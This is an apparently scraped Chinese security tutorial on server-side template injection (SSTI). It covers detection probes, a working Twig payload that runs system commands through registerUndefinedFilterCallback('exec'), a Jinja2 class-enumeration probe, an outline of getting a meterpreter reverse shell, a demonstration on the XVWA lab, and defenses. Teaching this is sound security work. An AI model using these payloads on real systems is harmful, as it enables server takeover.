通过SSTI漏洞获取服务器远程Shell
字数 848 2025-08-18 11:37:37

服务器端模板注入(SSTI)漏洞利用与防御指南

一、SSTI漏洞概述

服务器端模板注入(SSTI)是一种安全漏洞,允许攻击者通过注入恶意模板指令来执行任意代码。当应用程序将用户输入直接拼接到模板中而不进行适当处理时,就会产生此漏洞。

常见模板引擎

  • Smarty
  • Twig
  • Jinja2
  • FreeMarker
  • Velocity

二、漏洞识别方法

  1. 观察模板语法特征

    • {{变量}} (Twig/Jinja2)
    • {$变量} (Smarty)
    • <%=变量%> (ERB)
    • #变量# (Velocity)
  2. 探测方法

    • 注入数学运算表达式:{{7*7}}${{7*7}}
    • 如果返回49,则可能存在SSTI漏洞

三、漏洞利用步骤

1. 确定模板引擎类型

使用特定探测语句识别模板引擎:

  • Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  • Jinja2: {{ ''.__class__.__mro__[1].__subclasses__() }}

2. 执行系统命令

以Twig为例:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

3. 获取远程Shell

  1. 生成PHP meterpreter payload
  2. 通过SSTI漏洞上传并执行payload
  3. 建立反向连接获取服务器shell

四、实战演示

  1. 使用XVWA靶场进行测试
  2. 注入探测语句:${{1300+37}}
  3. 确认返回1337后,尝试执行命令:
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
    
  4. 获取命令执行结果后,进一步获取远程shell

五、防御措施

  1. 输入验证与过滤

    • 对所有用户输入进行严格验证
    • 过滤特殊字符和模板语法
  2. 沙箱环境

    • 限制模板执行环境
    • 禁用危险函数和指令
  3. 其他措施

    • 使用最新版本的模板引擎
    • 最小化模板引擎功能
    • 实施内容安全策略(CSP)

六、参考资源

注意:本文仅用于技术研究和防御目的,切勿用于非法用途。

服务器端模板注入(SSTI)漏洞利用与防御指南 一、SSTI漏洞概述 服务器端模板注入(SSTI)是一种安全漏洞,允许攻击者通过注入恶意模板指令来执行任意代码。当应用程序将用户输入直接拼接到模板中而不进行适当处理时,就会产生此漏洞。 常见模板引擎 Smarty Twig Jinja2 FreeMarker Velocity 二、漏洞识别方法 观察模板语法特征 : {{变量}} (Twig/Jinja2) {$变量} (Smarty) <%=变量%> (ERB) #变量# (Velocity) 探测方法 : 注入数学运算表达式: {{7*7}} 或 ${{7*7}} 如果返回49,则可能存在SSTI漏洞 三、漏洞利用步骤 1. 确定模板引擎类型 使用特定探测语句识别模板引擎: Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} Jinja2: {{ ''.__class__.__mro__[1].__subclasses__() }} 2. 执行系统命令 以Twig为例: 3. 获取远程Shell 生成PHP meterpreter payload 通过SSTI漏洞上传并执行payload 建立反向连接获取服务器shell 四、实战演示 使用XVWA靶场进行测试 注入探测语句: ${{1300+37}} 确认返回1337后,尝试执行命令: 获取命令执行结果后,进一步获取远程shell 五、防御措施 输入验证与过滤 : 对所有用户输入进行严格验证 过滤特殊字符和模板语法 沙箱环境 : 限制模板执行环境 禁用危险函数和指令 其他措施 : 使用最新版本的模板引擎 最小化模板引擎功能 实施内容安全策略(CSP) 六、参考资源 XVWA靶场 Flask/Jinja2 SSTI深入分析 注意:本文仅用于技术研究和防御目的,切勿用于非法用途。